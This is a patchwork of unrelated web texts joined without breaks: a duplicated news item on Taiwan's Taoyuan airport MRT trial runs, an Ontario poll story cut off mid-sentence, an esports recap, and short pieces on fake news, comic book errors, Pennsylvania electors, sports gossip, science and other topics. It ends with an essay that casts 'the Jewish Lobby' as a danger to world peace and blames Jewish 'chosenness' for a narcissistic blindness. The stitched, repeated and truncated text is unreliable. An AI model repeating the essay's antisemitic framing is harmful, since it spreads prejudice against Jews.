Between Feb. 16 and March 1, a daily maximum of 40,000 free rides between 8 a.m. and 4 p.m. will be offered to individual passengers, who will be required to obtain numbered tags, which will be distributed at all 21 stations at 7:40 a.m., 9:40 a.m., 11:40 a.m. and 1:40 p.m each day, according to Cheng.
Meanwhile, an in-town check-in service for airport passengers will be available at Taipei Main Station during the phase, he said.
In the first phase of the trial runs, which started Feb. 2 and will run through Wednesday, free rides between 8 a.m. and 4 p.m. are offered to group passengers who apply in advance.
Cheng said he took a free ride along with 350 representatives from the Taoyuan Mass Transit Corp., airlines and duty free shops on Monday to experience the system.
Cheng said that about 200 passenger groups have taken the free rides on the line each day and have given the line an over 95 percent satisfaction rate.
The number of passengers had reached 130,000 as of Feb. 12 and the number could have risen to an estimated 150,000 as of Feb. 13, exceeding the originally estimated 10,000 per day, Taoyuan Metro Corp. Chairman Liu Kun-yi (劉坤億) said, adding that this signals initial success in the trial runs.
After the MRT starts commercial operations, passengers will be offered a 50 percent discount on all trips during the first month. The trains will run from 6 a.m. to 11 p.m. every day, according to the company.
After that, commuters will be offered a 40 percent discount on all trips if they buy a 3-month pass, while a 50 percent discount will be offered for groups of up to 300 people, according to Cheng.
(By Bien Chen-feng and Evelyn Kao)
ENDITEM/J Taipei, Feb. 14 (CNA) The Taiwan Taoyuan International Airport Mass Rapid Transit (MRT) line will begin the next phase of trial runs Thursday, with free rides to be offered to individual passengers in the two weeks before commercial operations begin March 2, Taoyuan Mayor Cheng Wen-tsan (鄭文燦) said Tuesday.Between Feb. 16 and March 1, a daily maximum of 40,000 free rides between 8 a.m. and 4 p.m. will be offered to individual passengers, who will be required to obtain numbered tags, which will be distributed at all 21 stations at 7:40 a.m., 9:40 a.m., 11:40 a.m. and 1:40 p.m each day, according to Cheng.Meanwhile, an in-town check-in service for airport passengers will be available at Taipei Main Station during the phase, he said.In the first phase of the trial runs, which started Feb. 2 and will run through Wednesday, free rides between 8 a.m. and 4 p.m. are offered to group passengers who apply in advance.Cheng said he took a free ride along with 350 representatives from the Taoyuan Mass Transit Corp., airlines and duty free shops on Monday to experience the system.Cheng said that about 200 passenger groups have taken the free rides on the line each day and have given the line an over 95 percent satisfaction rate.The number of passengers had reached 130,000 as of Feb. 12 and the number could have risen to an estimated 150,000 as of Feb. 13, exceeding the originally estimated 10,000 per day, Taoyuan Metro Corp. Chairman Liu Kun-yi (劉坤億) said, adding that this signals initial success in the trial runs.After the MRT starts commercial operations, passengers will be offered a 50 percent discount on all trips during the first month. The trains will run from 6 a.m. to 11 p.m. every day, according to the company.After that, commuters will be offered a 40 percent discount on all trips if they buy a 3-month pass, while a 50 percent discount will be offered for groups of up to 300 people, according to Cheng.(By Bien Chen-feng and Evelyn Kao)ENDITEM/JPremier Kathleen Wynne has increased incentive to forge an election-avoiding budget deal with the New Democrats, suggests a new poll that gives the Progressive Conservatives a significant lead in voter support.
The Ipsos Reid survey gives Tim Hudak’s Tories 37% of decided Ontario voters, with Andrea Horwath’s NDP at 29% and the governing Liberals at 28%. Even more worrying for the Liberals is that the low numbers come despite relatively good approval ratings for Ms. Wynne, who won the party leadership and the Premier’s office in late January.
Six in 10 voters agreed that Ms. Wynne was “doing a good job,” but an even higher percentage — 66% — said it is “time for another political party to take over,” and only 34% said “the government has done a good job and deserves re-election.” The survey was conducted for the National Post, Global Television and Newstalk 1010.
John Wright, Ipsos’ senior vice-president, says the “time for change” numbers, often a telling indicator of when an incumbent government is vulnerable, are higher now than they were at any point during Mr. McGuinty’s nine years leading the province.
“This is bad news for the Liberals,” Mr. Wright said in a telephone interview. “They have had three months to signal a change and to put down an agenda, and instead they find themselves back where they were when the [2011] election started.”
The survey of 1,360 Ontarians, taken from an online panel, was conducted from April 12 to 17. Auditor-General Jim McCarter released his report on the cost of cancelling the Mississauga gas-fired power plant, which said that the Liberal government had understated the total by about $85-million, on April 15. The continued fallout over the decision to kill the two plants in Liberal-held ridings — an order to halt construction in Mississauga came during the 2011 campaign — could be contributing to the sagging Liberal brand.
“There’s been |
losing two team members during the shrine fight. Boston College was unable to put significant damage on to Cho’gall who was the driving force of damage on the objective. The second Punisher also went to UTA, since Cho’gall and Muradin were able to effectively control the shrine and zone out Boston College.
UTA’s Cho’gall continued to have remarkable control during the third shrine fight, saving defensive cooldowns for when they absolutely needed them, which gave UTA the third and fourth Punisher. By the late game it became obvious that Boston College was simply unable to land the damage needed to secure kills. UTA began to edge out an experience lead on Boston College giving them level 20 by the time the fifth shrine activated. With a late game Punisher and an inability to deal significant damage to Cho’gall, BC succumbed to elimination.
Game one on Dragon Shire saw an immediate respect ban from East Carolina on Falstad after Saturday’s demonstration of MichaelUdall’s skill on the character. They followed up this ban with picks of Zagara, Rehgar, Greymane, Sonya, and Diablo against Arizona State’s Li Ming, Muradin, Tassadar, Brightwing, and Illidan. East Carolina’s draft was a series of comfort picks against the favored ASU, while ASU pulled out a surprising Illidan for MichaelUdall with double supports to back him up.
Strong rotations and match ups in the early game allowed ASU to pick up an easy early kill and a Dragon Knight, followed up with incredible pressure against the tier one structures. This risk proved to pay off for ASU since they managed to escape back to friendly territory with low health after inflicting significant damage.
An easy second Dragon Knight for ASU, and a couple of aggressive kills on Zagara, gave them almost a complete level lead into the mid game, and once they had their heroics they continued to push their advantage. ASU did not go completely unscathed, however, as a full team fight near the bottom bruiser camp resulted in even trades between the two teams.
The aggression of ASU continued to dictate the pace of the game, giving East Carolina no time to do anything other than react. This allowed ASU to inflict significant structural damage to their opponents and gain a talent tier advantage, though East Carolina did not allow them to leverage that advantage. Finally a team fight near the middle shrine gave East Carolina the opportunity they needed to confront ASU in a team fight on the same talent tier, and while they gave a good showing (a well-placed leap from Sonya onto Li Ming was especially memorable) their assault eventually ran out of gas in the face of the sustain of Illidan and Brightwing. ASU secured the Dragon Knight and marched into victory.
Game two on Battlefield of Eternity saw East Carolina prioritize Tyrande and Greymane for impressive damage against the Immortals before picking up Rehgar, Johanna, and Valla. EC’s comfort picks of Stitches and Diablo were banned by ASU. In response, East Carolina ensured Falstad stayed out of MichaelUdall’s hands but allowed them to pick up Muradin, Sonya, Brightwing, Li Ming, and Zagara.
Both teams attempted to trade forts in the early game before the first Immortal phase, though ASU was successful while EC only got about half of the fort’s HP burned away. ASU was able to be in position for the Immortal phase and managed to easily burn down the first Immortal. Both teams were avoiding team fights with one another and focused on burning down the other team’s objectives and structures.
By the second Immortal phase, ASU was leading by about half a level and their rotation was giving them a lead in damage on the Immortals despite EC’s comp being designed specifically to burn down the objectives. This Immortal push cost EC another fort and gave ASU what they needed to get level 10 before East Carolina.
Fortunately, for East Carolina, by the time the third Immortal phase started, they had caught up in experience and were on top of the Immortal quicker. EC actually leveraged their comp to deal damage to the Immortal faster than ASU did. ASU responded by engaging East Carolina directly in a team fight during the Half Time show, but were wiped allowing EC to get their first Immortal.
The trend repeated during the next Immortal phase where the Greymane player managed to get two key kills on ASU’s team, giving them another victory. Perhaps a little overconfident, EC stayed in the fight after the immortal fell and ASU managed to secure three kills on EC and took one of their keeps as payment.
East Carolina took the fifth Immortal, but the shields were so low that ASU managed to kill it without taking any structural damage.
As the mid game turned into late game, East Carolina continued to have a slight exp lead before level 20 and ASU forced a team fight during the Immortal phase. East Carolina obliged them and killed three of their team members. East Carolina was unable to capitalize on their victory, and ASU returned to find a weakened East Carolina team. After securing a kills on East Carolina, they abandoned the Immortal fight and went straight for East Carolina’s core knocking them out of the tournament 2-0.
Here’s what the bracket looks like going into the Semi Finals:
Related: Blizzard EntertainmentIn a new wave of fake news, a false story about the Black Lives Matter movement impeding Hurricane Harvey rescue efforts are making the rounds on conservative news sites and Facebook pages.
The viral story used a false headline and an image from a 2015 Black Lives Matter protest in Boston. Upon clicking the Facebook link, however, viewers are redirected to a different story about the Texas Young Democrats protesting Trump’s arrival to Austin, Texas, on behalf of hurricane victims.
A hyperpartisan conservative site used a photo from 2015 to falsely claim that Black Lives Matter blocked #HurricaneHarvey rescue efforts pic.twitter.com/VgbbgdeZwE — Craig Silverman (@CraigSilverman) August 31, 2017
This isn’t the first fake claim that BLM interfered with relief efforts. A few days back, a “satirical” website called OurLandOfTheFree.com published the same claim, though they disclose on their homepage that all stories are fake. It's unclear if the two incidents are linked.
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In complete contradiction with the claims, members of Black Lives Matter Houston are actually contributing to relief efforts, collecting food and supplies to bring to shelters for children and their families.
According to Buzzfeed, by 11 AM on Friday, the story had 120,000 shares across ten conservative Facebook pages with a collective 12 million fans.Silver Age Comic Book Errors
Even with all the hard work from the best comic book writers, artists, and editors throughout the years, even the best make mistakes. Below are several comic book errors from the Silver Age.
Amazing Spider-Man #1
We now know him as Peter Parker, but for one scene, Spider-Man was known as Peter Palmer.
Amazing Spider-Man #3
Only three issues in and the title character’s name is already forgotten? This just two issues after messing up his real name.
Action Comics #309
To help Superman protect his secret identity, President John F. Kennedy posses as Clark Kent while Kent does his Superman duties. So what’s wrong with that? The issue was released a week after Kennedy was assassinated. Unfortunately for DC, it was too late to recall the issue before hitting stores.
Tales of Suspense #92
Captain America has never been known as the brightest superheroes around, but in Tales of Suspense #92, he talks some mean trash, but unfortunately its to himself.
Avengers #160
The Grim Reaper managed to pull down his mask with both hands only moments before his metal scythe reappeared.
Action Comics #223
Maybe less fun than the other errors, this issue of Action was misnumbered as #233 instead of #223.
Incredible Hulk #219
Captain Barracuda may be faking his blinded right eye to look cool with the patch, or maybe he’s only pretending to look into the periscope. Either way, this is an embarrassing moment for him.
Fantastic Four #88
Mr. Fantastic can mold his body parts into anything, even turning his right hand into a second left hand!
X-Men #28
After Jean Grey tossed Beast “pliers”, Hank gives her backhanded, sexist compliment. Whether he was intentionally mocking her or he didn’t know what pliers were to begin with, Beast may want to watch himself.
Savage Sword of Conan #25
If you’re a waitress, you may not want to serve Conan. Here, he calls Murelia a “little hussy” before declaring she turned into a waitress.Did Delhi chief minister Arvind Kejriwal on Thursday accused Paytm, a poster child of India's startup scene, of corruption and collusion with Prime Minister Narendra Modi? It sure seems so from his tweets. On Twitter Kejriwal said that Paytm is the biggest beneficiary of PM's demonetisation announcement and then asked "what's the deal".
Here is what Delhi CM wrote on Twitter: "Paytm biggest beneficiary of PM's announcement. Next day PM appears in its ads. Whats the deal, Mr PM?"
Paytm biggest beneficiary of PM's announcement. Next day PM appears in its ads. Whats the deal, Mr PM? https://t.co/lfP0PrQICQ Arvind Kejriwal (@ArvindKejriwal) November 10, 2016
Then he added, that it was "utterly shameful" of Paytm to use Prime Minister Narendra Modi's image for such ads.
"Utterly shameful. Do people want their PM to model for pvt cos? Tomo, if these cos do wrongdoings, who will act against them?"
Utterly shameful. Do people want their PM to model for pvt cos? Tomo, if these cos do wrongdoings, who will act against them? https://t.co/hAxg4H4MuL Arvind Kejriwal (@ArvindKejriwal) November 10, 2016
Earlier, Reliance Industries had used PM Modi's image in its full-page ad for Jio announcement in September. At that time too Kejriwal had tweeted against the advertisement that appeared in national dailies.
Reacting to Kejriwal's tweet, Paytm hinted that CM should think of the country. Vijay Shekhar who is the founder CEO of the company said that biggest beneficiary of the announcement is country and the company only aims to support financial inclusion in the country. "Dear Sir, The biggest beneficiary is our country. We are just a tech startup, trying to solve financial inclusion & make India proud," he said while quoting Kekriwal's tweet.
Dear Sir, The biggest beneficiary is our country. We are just a tech startup, trying to solve financial inclusion & make India proud. #???? https://t.co/3rI8r6W0EZ Vijay Shekhar (@vijayshekhar) November 10, 2016
Apparently, it all started when Paytm which is one of the popular online recharge platforms in the country, on Wednesday advertised in a leading newspaper, congratulating PM for his bold decision. A big photo of Modi accompanied the advertisement.
The Prime Minister on Tuesday had announced demonetisation of Rs 500 and 1000 currency notes with effect from midnight, to an attempt to check black money in the country. While many congratulated and applauded Modi for the bold move, Kejriwal slammed him. He also accused the PM of informing his party members about the demonetisation in advance.
Also Read: RBI goes down again after PM Modi's Rs 500, Rs 1000 notes announcementA last-ditch fight against a Donald Trump presidency is being waged with emails, letters and phone calls as some Americans inundate Electoral College electors with pleas to keep Trump out of the White House.
The Republican Party of Pennsylvania said Friday afternoon it is considering legal action against Pennsylvania’s Department of State for publicly releasing home addresses and phone numbers for the state’s 20 electors.
“The Department of State’s actions are directly responsible for the unprecedented harassment and potential endangering of Pennsylvania’s electors by people who want the electors to ignore the will of the people,” state GOP spokeswoman Megan Sweeney said in a statement.
Warren County’s Ash Khare, one of Pennsylvania’s 20 electors, said he has received more than 13,000 such emails since the Nov. 8 election — including 1,000 on Thursday alone.
“My life has been turned upside down because I am an elector. I feel like it is total harassment,” said Khare, 68, who also received more than 100 phone calls and 500 letters, including one written in pencil by a 7-year-old. One person sent John F. Kennedy’s book “Profiles in Courage” to Khare.
Republican Party elector Ash Khare of Warren County
Regardless, Khare intends to vote for Trump when the Electoral College convenes at noon Dec. 19 in the Pennsylvania State Capitol’s House chamber.
Electoral College electors across the country are receiving messages from voters who oppose Trump’s election because, among other reasons, they believe Trump is unfit to hold the nation’s highest office or that Clinton deserves the presidency because she won the popular vote by more than 2.5 million votes.
“Most of the emails that I read were sincere and respectful, but I don’t even bother reading them anymore. Who can read 20,000 emails? If it says, ‘Dear Elector,’ it gets deleted,” said Dick Stewart, 68, of Cumberland County.
History of faithless electors
The writers are urging the electors to become so-called “faithless electors” by not supporting their party’s designated candidate, a rarity in American history that has occurred just 157 times, according to the Maryland-based nonpartisan electoral reform group FairVote.
Although such electors can be cited or fined in many states, Pennsylvania is one of 21 states that does not formally require electors to vote for their party’s designated candidate.
The biggest example of electors going rogue in Pennsylvania history? In 1832, all 30 of Pennsylvania’s Democratic delegates refused to support Democratic vice presidential candidate Martin Van Buren of New York and instead voted for Pittsburgh’s William Wilkins. Montgomery County Federalist Samuel Miles became the first faithless elector in American history in 1796 when he cast his ballot for Democratic-Republican Thomas Jefferson instead of Federalist John Adams. Adams won by three electoral votes.
Yet, in Pennsylvania, each party selects a slate of electors before the general election that is typically filled by some of the most active and loyal members.
“We picked good, strong Republicans,” said Rob Gleason, an elector and the longtime chairman of the Republican Party of Pennsylvania.
Pennsylvania GOP Chair Rob Gleason (center) and GOP National Committeewoman Christine Toretti (right)
‘Chosen by the campaign’
The GOP slate includes officers in the state party, national GOP committee members, a state representative, county GOP chairs, Republican National Convention delegates and Ted Christian, who served as Trump’s Pennsylvania campaign director.
Although they are some of the highest-profile Republicans in Pennsylvania, state GOP spokeswoman Sweeney said “these electors were never on the ballot nor were they ever candidates,” noting they did not have to fill out an affidavit or place their names and personal information on petitions as political candidates such as delegates do.
“These folks are chosen by the campaign,” Sweeney said.
The Department of State’s website lists the electors’ names and their county of residence. Registered Pennsylvania voters can fill out a form to obtain electors’ home addresses and phone numbers, as listed in a letter submitted to the state by Trump’s campaign in August.
Department spokeswoman Wanda Murren said the agency received a flurry of requests for the additional information right after the election. About a dozen people filled out request forms and returned them; the department provided the added information to seven people, including a Tribune-Review reporter.
Murren said the information in question is deemed a matter of public record under the state’s election code. She said the department did not provide email addresses for any electors — though email addresses for some of the electors can be found in the department’s candidate database because they previously sought political office. For example, Khare’s email address can be found in the database because he listed it when he ran for Republican State Committee in 2014 and to be a delegate to the Republican National Convention this year.
Sweeney said the Department of State previously “redacted everything except for names for these types of requests.”
“Nevertheless, Gov. Tom Wolf’s Department of State chose to break with precedent and release the home phone numbers and home addresses of Pennsylvania’s 20 electors. … This episode is a shameful chapter for Gov. Tom Wolf and the Pennsylvania Department of State,” Sweeney said.
‘They aren’t going to change my mind’
The words against Wolf could create awkward moments on Dec. 19, when the governor is scheduled to oversee the Electoral College ceremony and host a luncheon for the electors, according to electors.
Sweeney said the state party’s general counsel, Lawrence Tabas, also an elector, and counsel for Trump’s campaign are “actively engaged in exploring any legal actions.” She pointed to a 2015 state Supreme Court decision concluding that a lower court “erred in ruling that there is no constitutional right to privacy in one’s home address in connection with (Right to Know Law) requests,” ruling that a right to “informational privacy” is guaranteed in the state constitution unless “outweighed by a public interest favoring disclosure.”
The Trib and others did not have file a Right to Know request to obtain the electors’ home addresses and phone numbers. Rather, the formal request was described as a “Request for Public Records Pursuant to Pennsylvania Election Code.”
Some groups independently tracked down email addresses, social media accounts and other contact information for the electors and published them online. The groups included established organizations such as the League of Women Voters of Central Delaware County to websites such as asktheelectors.org.
Before Friday’s statement was issued, neither Gleason nor any other electors with whom the Trib spoke were aware of anyone using contact information they obtained to send threatening letters or emails to Pennsylvania’s electors or to go to any of the electors’ homes, but Gleason said the state GOP notified the FBI and state police out of concern of potential interference in the electoral process or harassment. Several electors told the Trib they also were advised to notify their local law enforcement agencies.
State police spokesman Ryan Tarkowski said Friday that the department’s organized crime unit is investigating, but no criminal charges have been filed. Carrie Adamowski, an FBI spokeswoman in Philadelphia, would neither confirm nor deny that the bureau was investigating the matter.
Asktheelectors.org is one of several websites that provides an automated method for people to send a mass email to electors across the country. It provides a standard email greeting and a closing that reads, “I appreciate and respect the role you serve in our electoral process.” The form email includes empty boxes for people to write in their names, where they’re from and what their concerns are.
The people behind asktheelectors.org did not return a message from the Trib, but the website said more than 91,000 people had reached out to electors via the website as of Friday afternoon.
They didn’t reach elector Patricia Poprik of Doylestown, who serves as the Bucks County GOP chairwoman.
“My email is not public, so I’ve been fortunate,” Poprik said.
Poprik estimates she has received about 200 letters.
“I’ve read every one. They have been very nice and very polite, but they aren’t going to change my mind,” said Poprik, who will cast her vote for Trump.
Tom Fontaine is a Tribune-Review staff writer. Reach him at 412-320-7847 or tfontaine@tribweb.com.
Back Pennsylvania’s electors Rob Gleason, Johnstown, Chairman of the Republican Party of Pennsylvania Joyce Haas, State College, Vice chairwoman of the Republican Party of Pennsylvania Christine Toretti, Indiana, Republican National Committeewoman Robert Asher, Ambler, Republican National Committeeman Chris Gleason, Johnstown, Finance chairman of the Republican Party of Pennsylvania Carolyn “Bunny” Welsh, Chadds Ford. Treasurer of the Republican Party of Pennsylvania Dick Stewart, New Cumberland, Assistant treasurer of the Republican Party of Pennsylvania Andy Reilly, Media, Secretary of the Republican Party of Pennsylvania Margaret Ferraro, Nazareth, Assistant secretary of the Republican Party of Pennsylvania Lawrence Tabas, Philadelphia, General counsel of the Republican Party of Pennsylvania Robert Bozzuto, Mechanicsburg, Executive director of the Republican Party of Pennsylvania Michael Downing, Mechanicsburg, Deputy executive director of the Republican Party of Pennsylvania Theodore Christian, Holland, Pennsylvania state director for Donald Trump’s presidential campaign Mary Barket, Nazareth, President of the Pennsylvania Federation of Republican Women Tina Pickett, Towanda, State representative Patricia Poprik, Doylestown, Chairwoman of the Bucks County Republican Committee Gloria “Lee” Snover, Easton, Chairwoman of the Northampton County Republican Committee Carol Sides, Williamsport, Delegate to the 2016 Republican National Convention Ash Khare, Warren, Delegate to the 2016 Republican National Convention James McErlane, Malvern, At-large delegate to the 2016 Republican National Convention
Tom Fontaine is a Tribune-Review staff reporter. You can contact Tom at 412-320-7847, tfontaine@tribweb.com or via Twitter.Comcast SportsNet New England reporter Jessica Moran resigned from the network after seven years on the job, she confirmed to the Boston Globe’s Mark Shanahan Friday. Shanahan cited rumors that alleged a relationship between Moran and Red Sox manager John Farrell was at the center of her sudden departure.
Farrell declined comment on the rumors, and all Moran revealed was that it was in her “personal and professional interest” leave CSN:
“I have stepped away from Comcast SportsNet as I thought it was in my best personal and professional interest to do so,” Moran wrote in a text to the Globe. “They have been extremely supportive during my tenure at the network — and with this decision — and I am very appreciative of that.”
As for the rumor itself, there’s not much to go on. Shanahan relays speculation among media members at Boston’s spring training facility that the two were in some sort of relationship outside of the professional sphere. The Red Sox 2016 media guide also listed Farrell as single, which “raised questions.” He confirmed to reporters that he and his wife of 30 years have been separated for two years and were in the process of finalizing a divorce.
Whatever precisely happened (or didn’t) between Farrell and Moran that led to her quitting is unclear, but there seems to be an established pattern of reporters getting involved with Red Sox players and managers, or at least rumored to be.
A decade ago their were rumors that manager Terry Francona was involved with NESN’s Hazel Mae, but it turned out to be bunk. Heidi Watney, a NESN sideline reporter, was rumored to have had relationships with just-divorced catcher Jason Varitek and infielder Nick Green. Watney denied it vehemently, and Varitek remarried somebody else in 2011. Jenny Dell, also of NESN, started living with Will Middlebrooks in 2013 when he was still with the team, and they were engaged the next year. Dell and Middlebrooks got married last month, on Valentine’s Day.
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There isn’t much evidence of anything actually going on between Farrell and Moran, but it’s rather curious how members of the Red Sox keep getting linked with reporters over and over.
Correction: This story previously used a photo of Trenni Kusnierek, who is not involved.In a sure sign of the growing business interest in crypto-currencies on Wall Street, the Security Traders Association of New York (Stany) has decided to accept payment in bitcoin for tickets to its Annual Conference and Dinner.
Sweetening the deal is Atlas ATS, the recently-launched New-York-based crypto-currency exchange, which has agreed to match the amount of bitcoin-purchased tickets, up to $1000. The actual bitcoin transactions will be handled by virtual money platform GoCoin.
Stany CEO and director Kim Unger says the move to accept bitcoin fits with the industry group's mission to educate members about new industry developments and business opportunies.
"In addition to a panel discussion of crypto-currencies, we thought we would encourage members to gain some first-hand experience using digital currency to pay for the event itself," she says.
The bitcoin and crypto-currency panel for the 10 April event includes Gil Luria, managing director, financial technology stocks, Wedbush Securities, Brock Pierce, chairman, GoCoin, Barry Silbert, founder & CEO of SecondMarket, and Atlas ATS founder and CEO Shawn Sloves.GARDEN CITY, N.Y. (AP) — No criminal charges will be filed in a friendly fire shooting that killed a federal agent after he tried to intervene in a pharmacy robbery on Dec. 31, the Nassau County district attorney said Monday.
The district attorney, Kathleen M. Rice, said the retired Nassau police lieutenant who shot the off-duty senior special agent, John Capano of the Bureau of Alcohol, Tobacco, Firearms and Explosives, “clearly did not enter this situation with the intent to use deadly physical force.”
“He resorted to it,” her report said, “only when he perceived that his own life was in danger.”
The retired lieutenant, Christopher Geraghty, and another bystander, an off-duty New York City police officer named Joseph Arbia, were justified when they used deadly force, Ms. Rice said.
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The men were in a deli in Seaford, about 25 miles east of the city, when they were alerted to a robbery at a nearby pharmacy. When they arrived there, they saw Agent Capano, 51, and the robbery suspect wrestling for a gun, which turned out to be Agent Capano’s.
Mr. Geraghty told investigators that he opened fire, killing Agent Capano, after a bullet from his weapon whizzed past Mr. Geraghty’s head. The report noted that Mr. Geraghty “found himself looking down the barrel of a gun that he perceived to have been pointed at him by John Capano,” adding that Mr. Geraghty then believed that Agent Capano was trying to kill him.Thank you to whoever my Secret Santa is, loved everything in there!
It was my first secret santa so I'm glad I made it easy to find gifts for me. Everything was so well thought out, running top, horror film, cat related gifts. I love the Liechtenstein gifts; the pen and pin, the landscape book is lovely and makes me want to visit the country, the calendar has recipes in it and luckily my brother speaks German so he is going to translate it for me so I can get cooking! Also looking forward to getting stuck into the chocolates.
My mum recently passed away from Breast Cancer and I had posted to Reddit about raising money for Cancer Research with a 5K run (I used to hate running). The donation to Cancer Research was so thoughtful and I am beyond grateful for it."We have been in a dialogue with businesses and we think we can simplify the new reporting. We want to give businesses who want to provide health insurance the time to get this right," a senior administration official said.
The move could add to speculation about whether health-care reform will be implemented by the time the law is scheduled to come into full effect on Jan. 1.
The administration has already delayed insurance offerings for small businesses that were to be made available through new online exchanges. A recent report by the watchdog Government Accountability Office also called into question whether new insurance marketplaces for millions of individuals would meet an Oct. 1 deadline for open enrollment.
Valerie Jarrett, a senior advisor to Obama, said in a blog post on Monday that the government was fully prepared to open the new insurance exchanges for individuals in October.
- By ReutersActivity helps protect the brain from the strains of aging. Several different forms of mental exertion seem to provide a bit of reserve that helps hold off the forgetfulness that frequently appears in the elderly, and may limit the impact of age-related dementia. But a study released by PNAS today suggests that it's not just mental activity; physical exercise helps protect the brains of the elderly as well, and can even reverse some of the indications of aging.
The study involved a cohort of 120 older adults who were randomized into two groups: one that went on a program of three moderate-intensity aerobic workouts a week, and a second that spent an equal time doing stretching and toning exercises. Obviously, this sort of thing is difficult to do a double-blind study with—the participants presumably are aware of what their bodies are doing—but the researchers apparently kept themselves blinded to who did what when performing their analysis. MRI and memory tests were performed at the start, six months in, and when the program wrapped up after a year.
Over the course of the year, the control group that performed stretching exercises saw a small, 1.4 percent decline in the volume of the hippocampus, a brain region associated with memory. The exercising elderly, in contrast, saw the volume increase by a bit over two percent. The changes were specific to the anterior end of this structure, and weren't apparent in other areas of the brain, like the thalamus. The magnitude of the volume changes also correlated with the improvements in fitness, as measured by the change in VO 2 max. Exercisers also had higher levels of a brain growth factor called BDNF at the end of the year.
The good news for stretchers is that their volume loss didn't seem to cause problems for spatial memory; both the experimental and control groups saw their performance on the memory test improve over the course of the year. Within the group doing aerobic exercise, memory test performance and hippocampal volume changes did correlate, but given the results for those doing non-aerobic exercise, it's tough to ascribe too much importance to this finding.
The authors point out that exercise is a pretty cheap and easy-to-implement intervention, and we've got a growing population of people who could benefit from it. But they don't even discuss the possible parallels between this finding and those that suggest that mental activity can protect against the impact of aging. It's possible that the walking exercises pushed the spatial memory system more than the stretching did. Or, exercise may have simply increased the blood flow to the brain more generally, and acted a bit like neural activity in that regard. It would be nice to see these addressed in a future publication.
PNAS, 2011. DOI: 10.1073/pnas.1015950108 (About DOIs).The Oxford Companion to American Food and Drink, edited by Andrew F. Smith. 736 pages. Publisher: Oxford University Press, USA; 1St Edition edition (May 1, 2007) Offering a panoramic view of the history and culture of food and drink in America with fascinating entries on everything from the smell of asparagus to the history of White Castle, and the origin of Bloody Marys to jambalaya, The Oxford Companion to American Food and Drink provides a concise, authoritative, and exuberant look at this modern American obsession. Ideal for the food scholar and food enthusiast alike, it is equally appetizing for anyone fascinated by Americana, capturing our culture and history through what we love most--food! Building on the highly praised and deliciously browseable two-volume compendium The Oxford Encyclopedia of Food and Drink in America, this new work serves up everything you could ever want to know about American consumables and their impact on popular culture and the culinary world. Within its pages for example, we learn that Lifesavers candy owes its success to the canny marketing idea of placing the original flavor, mint, next to cash registers at bars. Patrons who bought them to mask the smell of alcohol on their breath before heading home soon found they were just as tasty sober and the company began producing other flavors.Zionists Fail to Launch a New US War, on Syria this Time
By Gilad Atzmon
Al-Jazeerah, CCUN, September 16, 2013 Getting AIPAC Off the Tree By Gilad Atzmon As the Jewish Lobby (AIPAC, the Anti-Defamation League, the Conference of Presidents of Major American Jewish Organizations and other Jewish groups) faces its first colossal defeat, Jewish media outlets and Zionists commentators are desperate to find a respectful way for AIPAC to ‘get off the tree’. Yesterday, The Jerusalem Post editorial went out of its way to save American Jewry out of the Lobby’s blunder. “Just as Israelis are split on support for US military intervention against Assad, so undoubtedly is the American Jewish community.” This may be true, American Jews are probably divided on the topic, yet, we didn’t hear about a lobby of hundreds of ‘progressive’ Jews awaiting to raid the Capitol Hill and advocate the push against the war. If anything, we came across the usual sporadic so-called ‘progressive Jewish voices’ who shamelessly attempted to divert the attention from the tribal nature of AIPAC/ADL‘s pro war operation. The Jerusalem post also contends that Israeli leaders are actually against the war. “Defense Minister Moshe Ya’alon stressed that we are not involved and not interfering in what is happening in Syria. We repeat and emphasize that.” But if this is indeed the case, then AIPAC and other Jewish Lobby groups shouldn’t be conceived anymore as ‘The Israeli Lobby’. Supposedly the Lobby doesn’t follow Israeli policy. It is actually an autonomous collective that promotes what it believes to be ‘good for the Jews’. In order to save American Jewry from the stupidity of their lobbies, The Jerusalem Post has produced the most ludicrous argument ever: ”AIPAC, the Anti-Defamation League, the Conference of Presidents of Major American Jewish Organizations and other Jewish groups have the same right as other American organizations to come out publicly in support of military intervention in Syria.” I guess that this is a true statement as far as it goes; however, as long as they do it under a Jewish banner, as they clearly did, their activity will continue to reflect on Jews as a collective. This is indeed a disaster and Jews had better address this issue once and for all, and hopefully from a universal perspective. Veteran IDF Concentration camp Guard Jeffery Goldberg, is obviously embarrassed by AIPAC failure. He looks for someone to blame but he wouldn’t dare criticising his fellow Zionists. “If I believed in conspiracies,” says Goldberg, “I'd be tempted to think that President Barack Obama… dragged the group (AIPAC) into what at the moment looks like a losing battle to get Congress to approve an intervention in Syria just to tarnish AIPAC’s reputation as all-knowing and all-powerful.” Actually, I believe that Goldberg’s ‘conspiratorial’ narrative is far from being farfetched. By now our Western political universe is hijacked by some sinister Lobbies (Jewish and others). The Jewish Lobby was pushing for a war the American people didn’t agree with. Obama and his administration were hanging in the middle. The president was left with one simple option. He told his paymasters, If you really want a war, make sure you fight for it; if the congress says No, you have yourself to blame. If the congress says Yes, and we once again end up with a military blunder, the Lobby would have to take the heat. Goldberg is far from being stupid. He grasps that AIPAC's defeat this week is just a beginning of a far greater and more important battle. “If American support for Israel wanes, then AIPAC is in trouble. If Americans shift their opinions on Iran or become comprehensively isolationist, then AIPAC will have difficulty with that portfolio, too.” For Goldberg, Dershowitz and other unsavoury Zionist characters, Syria wasn’t really the issue. They are obviously after Iran. They see the big picture. And for them Israel is the centre of the universe. They are willing to get off the Syrian tree only because they have a much bigger tree in mind. Some Israeli diplomats and foreign affairs experts have been horrified all along by the Lobby’s public push for a war. Ben Caspit, a leading Israeli analyst quoted yesterday a long-standing Israeli diplomatic source who attacked the attempts to activate AIPAC. “It is not wise, it is not correct, it is excessive,” said the diplomat. “Israel is too often viewed as a country that drags the United States into conflicts and wars.” Seemingly, Israeli analysts and foreign affair experts do know very well that Mearsheimer, Walt, Petras, Blankfort and yours truly are hitting the nail on the head pointing at the Jewish Lobby as a grave danger to world peace. And yet, a few crucial questions remain open. How did AIPAC, ADL and the Conference of Presidents of Major American Jewish Organization fall into this trap? How did they manage to walk into this ambush openly and loudly advocating a war against America’s will? Couldn’t they foresee to possible outcome? Couldn’t they predict Jews being once again blamed for global scale conflict? Are they really that stupid? My answer is simple. They are far from being stupid but they are clearly blind, because blindness is, unfortunately, intrinsic to chosenness, which implies dismissal of the other as well as otherness. Chosenness is a narcissistic modus operandi. It doesn’t leave much room for self-reflection, let alone regret or compassion. Chosenness is the birth of the Jewish tragedy, a theme I explored in my latest book The Wandering Who. I guess that ‘The Jewish question’ must be addressed again and sooner the better, but this time we must verify first what the meaning of Choseness is and how it fits with Jewish culture, ideology and politics. 